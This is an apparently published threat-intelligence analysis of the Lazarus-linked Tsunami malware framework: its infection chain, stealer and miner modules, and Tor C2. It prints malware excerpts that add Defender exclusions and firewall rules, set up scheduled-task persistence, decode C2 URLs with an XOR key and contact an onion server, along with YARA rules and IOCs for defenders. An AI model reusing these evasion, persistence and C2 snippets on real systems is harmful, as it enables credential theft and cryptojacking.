Rolling in the Deep(Web): Lazarus Tsunami

By Nicolas Sprenger

Published: 2025-04-25 · Archived: 2026-04-02 12:18:19 UTC

Summary

When HiSolutions investigated cryptocurrency theft in a software developers environment in fall 2024, the initial access vector and first stages of malware-deployment were identical to the ongoing „Contagious Interview“-Campaign linked to North Korea.
During our analysis we were able to identify a more comprehensive sample of the Tsunami-Framework, a Malware relying on the TOR-Network and Pastebin (a SaaS) for command and control
Tsunami has a modular structure, incorporates multiple stealers and deploys two cryptominers. It has first been identified by Luca Di Domenico and Alessio Di Santo.

Key Takeaways

- The „Contagious Interview“-Campaign is ongoing and responsible for the theft of common and less common crypto-currencies.
- The Threat Actor (TA) actively develops new tooling and uses Pastebin-Accounts and TOR .onion-Domains for C2.
- The identified Tsunami-Malware is in active development and incorporates multiple crypto miners and credential stealers.

Analysis

When we first observed the Tsunami-Framework in an incident, it achieved initial access through chainloading a malicious BeaverTail-Payload (loader) from the third-party domain “api.npoint.io” through a private GitHub-Repository. When executed, the loader deploys the InvisibleFerret Malware, as is publicly known from other cases.

Our analysis of the InvisibleFerret file “.n2\bow” identified that the Framework used a Python-Launcher with the essential parameter configuration below. Examining the variables and their contents, we are able to identify the location where the Tsunami Injector and Tsunami Installer are stored and executed. Additionally, the actors install a Python interpreter, presumably to ensure their version requirements are met.

```
  ##### Globals #####

    DEBUG_MODE = False

    PYTHON_INSTALLER_URL = "https://www.python.org/ftp/python/3.11.0/python-3.11.0-amd64.exe"

    APPDATA_ROAMING_DIRECTORY = os.getenv("APPDATA")

    TSUNAMI_INJECTOR_NAME = "Windows Update Script.pyw"
    TSUNAMI_INJECTOR_FOLDER = f"{APPDATA_ROAMING_DIRECTORY}/Microsoft/Windows/Start Menu/Programs/Startup"
    TSUNAMI_INJECTOR_PATH = rf"{TSUNAMI_INJECTOR_FOLDER}/{TSUNAMI_INJECTOR_NAME}"

    TSUNAMI_INJECTOR_SCRIPT = """
...

##### Globals #####
```

```
DEBUG_MODE = False

ROAMING_APPDATA_PATH = os.getenv("APPDATA")
LOCAL_APPDATA_PATH = os.getenv("LOCALAPPDATA")

TSUNAMI_PAYLOAD_NAME = "".join([random.choice(string.ascii_letters) for i in range(16)])
TSUNAMI_PAYLOAD_FOLDER = tempfile.gettempdir()
TSUNAMI_PAYLOAD_PATH = rf"{TSUNAMI_PAYLOAD_FOLDER}\{TSUNAMI_PAYLOAD_NAME}"

TSUNAMI_INSTALLER_NAME = "Runtime Broker"
TSUNAMI_INSTALLER_FOLDER = rf"{ROAMING_APPDATA_PATH}\Microsoft\Windows\Applications"
TSUNAMI_INSTALLER_PATH = rf"{TSUNAMI_INSTALLER_FOLDER}\Runtime Broker.exe"

TSUNAMI_PAYLOAD_SCRIPT = '''
RandVar = '?'
```

The launcher deploys a persistent “Tsunami-Injector” named “Windows Update Script.pyw” in “AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup” and a “Tsunami_Installer” in “AppData/Microsoft/Windows/Applications/Runtime Broker.exe”. It then adds a Windows-Defender Exclusion for the “Runtime Broker.exe” and creates a Scheduled Task for secondary persistence.

```
##### Tsunami Payload #####

 def add_windows_defender_exception(filepath: str) -> None:
    try:
        subprocess.run(
            ["powershell.exe", f"Add-MpPreference -ExclusionPath '{filepath}'"],
            shell = True,
            creationflags = subprocess.CREATE_NO_WINDOW,
            stdout = subprocess.PIPE,
            stderr = subprocess.PIPE,
            stdin = subprocess.PIPE
        )

        output(f"Added a new file to the Windows Defender exception")
    except Exception as e:
        output(f"[-] Failed to add Windows Defender exception: {e}")

def create_task() -> None:
    powershell_script = f\"\"\"
        $Action = New-ScheduledTaskAction -Execute "{TSUNAMI_INSTALLER_PATH}"
        $Trigger = New-ScheduledTaskTrigger -AtLogOn
        $Principal = New-ScheduledTaskPrincipal -UserId $env:USERNAME -LogonType Interactive
        $Principal.RunLevel = 1
        $Settings = New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -DontSt
        Register-ScheduledTask -Action $Action -Trigger $Trigger -Principal $Principal -Settings $Settings -Ta
                        \"\"\"
```

The launcher-script contains a list of 1.000 XOR-encrypted Pastebin-User-Urls and checks for uploaded Pastes, which contain the Download-URL for the “Tsunami-Installer”.

```
#### URL Downloader #####

def xor_encrypt(text: bytes):
    XOR_KEY = b"!!!HappyPenguin1950!!!"
```

```
          encrypted_text = bytearray()
    for i in range(len(text)):
        encrypted_text.append(text[i] ^ XOR_KEY[i % len(XOR_KEY)])
    return bytes(encrypted_text)

def xor_decrypt(text: bytes):
    return xor_encrypt(text)

def decode(encoded: str) -> str:
    encoded_bytes = binascii.unhexlify(encoded)
    encoded_bytes = xor_decrypt(encoded_bytes)
    encoded = base64.b64decode(encoded_bytes).decode()

    return encoded[::-1]

def download_installer_url() -> str:
    URLS = [

        "6c5b6c7c2f1d081134225b0b2f2e025b6005764a434c774f7b1d19163e3d091c205419060d76004f52135951406763783b274
c0b172e027675066557437618
4b6d255400291406550d55331e224801035312631145664675",
…
```

The “Tsunami-Installer” was written in .Net and contains further persistence mechanisms. During execution, it adds multiple Windows-Defender- and Windows-Firewall-Exclusions and, if successful, drops a “TsuAmFlag.txt” in “AppData/Local/Temp”.

```
powershell.exe Add-MpPreference -ExclusionPath 'C:\Users\{USERNAME}\AppData\Roaming\Microsoft\Windows\Start Me
Monitor.exe'
powershell.exe Add-MpPreference -ExclusionPath 'C:\Users\{USERNAME}\AppData\Roaming\Microsoft\Windows\Applica
powershell.exe Add-MpPreference -ExclusionPath 'C:\Users\{USERNAME}\AppData\Local\Microsoft\Windows\Applicatio
powershell.exe Add-MpPreference -ExclusionPath 'C:\Users\{USERNAME}\AppData\Roaming\Microsoft\Windows\Dependen
powershell.exe Add-MpPreference -ExclusionPath 'C:\Users\{USERNAME}\AppData\Local\Microsoft\WindowsApps\msedge
powershell.exe Add-MpPreference -ExclusionPath 'C:\Users\{USERNAME}\AppData\Local\Temp\\Runtime Broker.exe'
```

```
powershell.exe netsh advfirewall firewall add rule name='Microsoft Edge WebEngine' dir=in action=allow
program='C:\Users\{USERNAME}\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\System Runtime Moni
powershell.exe netsh advfirewall firewall add rule name='Microsoft Edge WebEngine' dir=in action=allow
program='C:\Users\{USERNAME}\AppData\Roaming\Microsoft\Windows\Applications\Runtime Broker.exe' enable=yes
powershell.exe netsh advfirewall firewall add rule name='Microsoft Edge WebEngine' dir=in action=allow
program='C:\Users\{USERNAME}\AppData\Local\Microsoft\Windows\Applications\Runtime Broker.exe' enable=yes
powershell.exe netsh advfirewall firewall add rule name='Microsoft Edge WebEngine' dir=in action=allow
program='C:\Users\{USERNAME}\AppData\Roaming\Microsoft\Windows\Dependencies\System Runtime Monitor.exe' enable
powershell.exe netsh advfirewall firewall add rule name='Microsoft Edge WebEngine' dir=in action=allow
program='C:\Users\{USERNAME}\AppData\Local\Microsoft\WindowsApps\msedge.exe' enable=yes
powershell.exe netsh advfirewall firewall add rule name='Microsoft Edge WebEngine' dir=in action=allow
program='C:\Users\{USERNAME}\AppData\Local\Temp\\Runtime Broker.exe' enable=yes
C:\Windows\system32\netsh.exe advfirewall firewall add rule "name=Microsoft Edge WebEngine" dir=in action=allo
"program=C:\Users\{USERNAME}\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\System Runtime Moni
C:\Windows\system32\netsh.exe advfirewall firewall add rule "name=Microsoft Edge WebEngine" dir=in action=allo
"program=C:\Users\{USERNAME}\AppData\Roaming\Microsoft\Windows\Applications\Runtime Broker.exe" enable=yes
C:\Windows\system32\netsh.exe advfirewall firewall add rule "name=Microsoft Edge WebEngine" dir=in action=allo
"program=C:\Users\{USERNAME}\AppData\Local\Microsoft\Windows\Applications\Runtime Broker.exe" enable=yes
C:\Windows\system32\netsh.exe advfirewall firewall add rule "name=Microsoft Edge WebEngine" dir=in action=allo
"program=C:\Users\{USERNAME}\AppData\Roaming\Microsoft\Windows\Dependencies\System Runtime Monitor.exe" enable
C:\Windows\system32\netsh.exe advfirewall firewall add rule "name=Microsoft Edge WebEngine" dir=in action=allo
```

```
program=C:\Users\{USERNAME}\AppData\Local\Microsoft\WindowsApps\msedge.exe enable=yes
C:\Windows\system32\netsh.exe advfirewall firewall add rule "name=Microsoft Edge WebEngine" dir=in action=allo
"program=C:\Users\{USERNAME}\AppData\Local\Temp\\Runtime Broker.exe" enable=yes
```

Depending on the existence of “TsuAmFlag.txt” the Malware lies dorment for 1 or 5 minutes.

```
private static void DisableWindowsSecurity()
    {
      int num = AntiDefender.FlagExists() ? 1 : 0;
      AntiDefender.DisableWindowsDefender();
      AntiDefender.DisableWindowsFirewall();
      if (num != 0)
      {
        Logger.LogInfo("Program.DisableWindowsSecurity", "Detected Anti Malware flag, sleeping for 1 minute"),
        Thread.Sleep(60000);
      }
      else
      {
        Logger.LogInfo("Program.DisableWindowsSecurity", "Did not detect Anti Malware flag, sleeping for 5 mi
        Thread.Sleep(300000);
      }
```

The binary further contains a “RessourceLoader” which extracts incorporated PE-Files. Here the Installer extracts a Tor-Client:

```
namespace TsunamiInstaller
{
  public static class ResourceLoader
  {
    public static byte[] Load(Resources resource)
    {
      byte[] resource1 = ResourceLoader.GetResource(resource);
      if (resource1.Length == 0)
        return new byte[0];
      Array.Reverse<byte>(resource1);
      return GZIP.Decompress(resource1);
    }

    private static byte[] GetResource(Resources resource) => resource == Resources.TorExecutable ? Resource1.
  }
}
```

The deployed Tor-Binary is then used to downlaod a Client from a hardcoded Onion-URL:

```
namespace.Tsunami.Core.App
{
  public static class Meta
  {
    private static UsageType _UsageType = UsageType.None;
    private static string _AppVersion = "";
    private static string _AppSessionID = "";
    private static string _ServerURL = "";
```

```
    public static void Init(UsageType type, string appVersion)
    {
      Meta._UsageType = type;
      Meta._AppVersion = appVersion;
      Meta._AppSessionID = Guid.NewGuid().ToString();
      Meta._ServerURL = "http://n34kr3z26f3jzp4ckmwuv5ipqyatumdxhgjgsmucc65jac56khdy5zqd.onion";
    }
...
```

The downloaded client then contains multiple modules:

- Backdoor
- Botnet
- BraveCredentialStealer
- BrowserCookie
- BrowserCreditCard
- BrowserPassword
- BrowserSession
- ChromeCredentialStealer
- ChromiumStealer
- CryptoMiner
- DataStealer
- Decryptor
- DiscordAccount
- EdgeCredentialStealer
- EncryptedKey
- EthereumMiner
- ExodusStealer
- FirefoxCredentialStealer
- GeckoStealer
- KeyLogger
- InfoStealer
- MoneroMiner
- Nss3
- OperaGXCredentialStealer
- Profile
- Secret
- SecretFileStealer
- TemperatureTracker
- UpdateVisitor
- WinApi

These modules provide multiple solutions for acquiring credentials, session-keys, cookies and a keylogger (Backdoor). A recent development has been the “SecretFileStealer” module that searches for and uploads files matching conditions that are dynamically loaded from the C2-Server. The “Botnet” module stands out because it is uncommon for this type of malware. It also seems to be in the early stages of development as it is not fully functional in the most recent version.

For Command-and-Control the Onion-Domain provides multiple Endpoints:

- /api/v1/browser-passwords

- /api/v1/browser-sessions
- /assets/v2/tsunami-client/file

- /api/v1/discord-accounts
- /api/v1/environment-info
- /assets/v2/tsunami-client/hash

- /api/v1/init
- /api/v1/telemetry
- /assets/v2/dotnet6-installer-url

Like the “Tsunami-Installer” the “Tsunami-Client” contains multiple files:

- AMD_Compute_Mode_Enabler.reg
- ETHW_Miner.exe

- Ldbdump.exe
- Tor.exe
- XMRig.exe

- Xmrig_config.json
- XMRig_Driver.sys

We assume the Framework to be in a testing-phase according to the “’rig-id’: ‘test’” in “Xmrig_config.json” (below).

```
...
"pools": [
        {
            "coin": "monero",
            "url": "xmrpool.eu:5555",
            "user": "45Kwfu8Q7B18zg5THCz3Jze9YSVn54BPh1tBgzyqJmmUL8YWwXLhs1NV1LCLLv1cJTAHrKhn4cwVNNuzdaydbDXJ
            "pass": "x",
            "rig-id": "test",
 "keepalive": true,
 "enabled": true
        }
...
```

Detection and Response

YARA

```
rule tsunami_framework : apt {
    meta:
        name        = "tsunami_framework"
        category    = "framework"
        description = "Detects Tsunami-Framework"
        author      = "Nicolas Sprenger (HiSolutions AG)"
        created     = "2024-12-18"
        reliability = 100
        tlp         = "TLP:clear"
        sample      = "ab7608bc7af2c4cdf682d3bf065dd3043d7351ceadc8ff1d5231a21a3f2c6527"
        score       = 100
```

```
    strings:
        $ = "=/\x00a\x00s\x00s\x00e\x00t\x00s\x00/\x00v\x002\x00/\x00t\x00s\x00u\x00n\x00a\x00m\x00i\x00-\x00
        $ = "/\x00a\x00p\x00i\x00/\x00v\x001\x00/\x00b\x00r\x00o\x00w\x00s\x00e\x00r\x00-\x00p\x00a\x00s\x00s
        $ =
"/\x00a\x00p\x00i\x00/\x00v\x001\x00/\x00i\x00n\x00i\x00t\x00\x001/\x00a\x00p\x00i\x00/\x00v\x001\x00/\x00e\x0
0n\x00v\x00i\x00r\x00o\x00n\x00m\x00e\x00n
\x00t\x00-\x00i\x00n\x00f\x00o\x00"
        $ = "a\x00p\x00i\x00/\x00v\x001\x00/\x00d\x00i\x00s\x00c\x00o\x00r\x00d\x00-\x00a\x00c\x00c\x00o\x00u
        $ = "a\x00s\x00s\x00e\x00t\x00s\x00/\x00v\x002\x00/\x00d\x00o\x00t\x00n\x00e\x00t\x006\x00-\x00i\x00n
\x00u\x00r\x00l"
        $ = { 5473756E616D692E436F72652E436F6D6D6F6E2E }
        $ = { 6800740074007000730003A002F002F00610070006900E006900700069006900660079002E006F0072006700 }    // "h
        $ = { 68007400740070003A002F002F00690070006900E0066006F002E0069006F002F00 }    // "http://ipinfo.io/

    condition:
        uint16(0) == 0x5a4d and all of them
}
```

TTP and Indicators

MITRE ATT&CK TTP

ID	Technique	Comment
T1082	System Information Discovery	During Initialization the malware sends hardware and OS information to the C2.
T1589.001	Gather Victim Identity Information: Credentials	Multiple modules collect credentials from browsers and other applications.
T1587.001	Develop Capabilities: Malware	The Threat Actor actively develops the Tsunami malware.
T1584.005	Compromise Infrastructure: Botnet	The malware includes Botnet functionality.
T1608	Stage Capabilities	The infection chain relies on multiple stages hosted on different systems and services.
T1566	Phishing	The Threat Actor approaches their victims via LinkedIn and poses as a potential business partner.
T1059	Command and Scripting Interpreter	Multiple stages rely on Scripting Interpreters like JavaScript, PowerShell and Python.
T1053.005	Scheduled Task/Job	The malware loader relies on a Scheduled Task for persistence.
T1204	User Execution	The Initial Access relies on the user executing a backdoored GitHub repository.
T1547	Boot or Logon Autostart Execution	The Tsunami Payload creates a Startup Task for persistence.

ID	Technique	Comment
T1562.004	Impair Defenses: Disable or Modify System Firewall	The Windows Firewall is being disabled.
T1562.001	Impair Defenses: Disable or Modify Tools	Windows Defender is being disabled.
T1027	Obfuscated Files or Information	The initial stages are heavily obfuscated and later stages are slightly obfuscated.
T1056	Input Capture	The malware has Keylogging capabilities.
T1539	Steal Web Session Cookie	The malware exfiltrates Browser Session Cookies.
T1555	Credentials from Password Stores	Multiple Applications and Browsers are accessed for credential access.
T1083	File and Directory Discovery	Specific files are sought out and uploaded to the C2 Server.
T1020	Automated Exfiltration	The malware automatically and periodically uploads gathered information.
T1496.001	Resource Hijacking: Compute Hijacking	Multiple Cryptominers are deployed by the malware

Indicator of Compromise

Value	Type	Comment
3f424b477ac16463e871726cbb106d41574d2d0e910dee035fbd23241515e770	SHA256	Tor.exe
b25e1a54e9c53bf6367c449be46f32241d1fd9bf76be9934d42c121105fb497d	SHA256	AMD_Compute_Mode_Enable
bb3af0c03e6b0833fa268d98e5a8b19e78fb108a830b58b2ade50c57e9fc9bed	SHA256	ETHW_Miner.exe
f96744a85419907e7c442b13beeefb6f985f3905a992dfefee03820ec6570fea	SHA256	ldbdump.exe
2883b1ae430003f3eff809f0461e18694ee1e2bc38c98f9eff22a50b5043a770	SHA256	XMRig.exe
94186315edde9ab18d6772449bb0b33a37490c336fccbc81bc7a6b6b728232b1	SHA256	xmrig_config.json
11bd2c9f9e2397c9a16e0990e4ed2cf0679498fe0fd418a3dfdac60b5c160ee5	SHA256	XMRig_Driver.sys
C:\Tsunami\Tsunami Stable\Tsunami Client\obj\Release\net6.0\win-x64\Runtime Broker.pdb	PDB-Path	
E:\Tsunami\Tsunami Stable\Tsunami Payload\obj\Release\net6.0\win-x64\Tsunami Payload.pdb	PDB-Path	
C:\Tsunami\Tsunami Stable\Tsunami Client\obj\Release\net6.0\win-x64\Runtime Broker.pdb	PDB-Path	

Value	Type	Comment
3769508daa5ee5955c7d0a5493b0a159e874745e575ac6ea1a5b544358132086	SHA256	Packed Sample from Onion
28660b81fd4898da3b9a861af716dc2ed60dd6a6eb582782e9d8451b1f257630	SHA256	Unpacked Sample from Onion
a2ae1da09f7508ff34bd9acc672b3cf456e053bb46d4aa3cd283a7f263e37acb	SHA256	
23.254.229[.]101	IPv4	
http://23.254.229[.]101/cat-video	URL	Hosts Tsunami-Installer
e9571e21150d7333bfada0ef836adad555547411a2b56990da632f64d0262ef8	SHA256	
a2ae1da09f7508ff34bd9acc672b3cf456e053bb46d4aa3cd283a7f263e37acb	SHA256	cat-video
n34kr3z26f3jzp4ckmwuv5ipqyatumdxhgjgsmucc65jac56khdy5zqd.onion	C2-Domain	
Sometimes you never know the value of a moment until it becomes a memory	String	
Extensive documentation on this process has been included on my YouTube channel: https://www.youtube.com/watch?v=QB7ACr7pUuE	String	
headers = {„User-Agent“:“Mozilla/5.0″}	String	
XOR_KEY = b“!!!HappyPenguin1950!!!“	String	

Source: https://research.hisolutions.com/2025/04/rolling-in-the-deepweb-lazarus-tsunami/